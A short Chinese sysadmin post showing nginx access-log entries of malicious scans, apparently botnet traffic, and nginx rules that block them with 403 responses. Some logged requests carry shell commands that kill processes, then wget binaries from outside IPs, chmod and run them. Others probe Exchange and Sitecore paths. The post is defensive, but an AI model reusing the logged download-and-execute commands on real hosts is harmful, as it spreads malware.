Linux恶意请求（linux恶意代码软件）

nginx访问日志：

162.243.135.29 - - [05/Jan/2024:00:12:07 +0800] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
 
107.151.182.54 - - [04/Mar/2024:11:30:06 +0800] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
 
5.189.156.66 - - [17/Jun/2024:05:37:42 +0800] "GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;nohup+wget+http:/\x5C/45.148.120.144/
107.151.182.62 - - [05/Aug/2024:18:07:14 +0800] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
41.142.215.70 - - [06/Aug/2024:02:43:27 +0800] "GET /shell20211028.php HTTP/1.1" 404 555 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
172.168.40.186 - - [08/Aug/2024:20:30:16 +0800] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
185.224.128.83 - - [11/Aug/2024:00:09:00 +0800] "GET /shell?cd+/tmp;rm+earm+earm5+earm7;nohup+wget+http:/\x5C/154.216.18.103/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\x5C/154.216.18.103/earm5;chmod+777+earm5;./earm5+jaws;nohup+wget+http:/\x5C/154.216.18.103/earm;chmod+777+earm;./earm+jaws HTTP/1.1" 301 169 "-" "KrebsOnSecurity"

# nginx配置文件增加
# 详见：https://blog.csdn.net/weixin_46084533/article/details/140662309
 
location / {
    if ( $arg_cd ) {
        return 403;
    }
}
 
 
 
# 如果上述无效，增加下面配置
# 处理以/autodiscover/autodiscover、/sitecore/shell/sitecore、/shell开头请求
location ~* /(autodiscover/autodiscover|sitecore/shell/sitecore|shell) {
    return 403;
}
 
# 或者，仅处理/shell?cd、/shell?kill、/shell?killall请求
location ~* /shell {
    if ( $query_string ~* (cd|kill|killall) ) {
        return 403;
    }
}

KrebsOnSecurity

# nginx配置文件增加
# 详见：https://blog.csdn.net/sunsharer/article/details/140776698
 
location / {
    if ( $http_user_agent ~* KrebsOnSecurity ) {
        return 403;
    }
}